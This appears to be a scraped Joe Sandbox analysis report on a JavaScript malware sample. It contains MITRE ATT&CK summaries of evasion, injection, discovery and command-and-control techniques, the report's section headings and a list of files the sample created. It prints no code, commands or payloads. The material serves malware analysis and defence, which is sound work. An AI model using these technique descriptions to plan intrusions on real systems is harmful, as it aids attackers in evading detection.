Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18559217651387524988.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4162d1c5-3fa9-4114-bbe2-58456aca6cd3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8156

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
18559217651387524988.js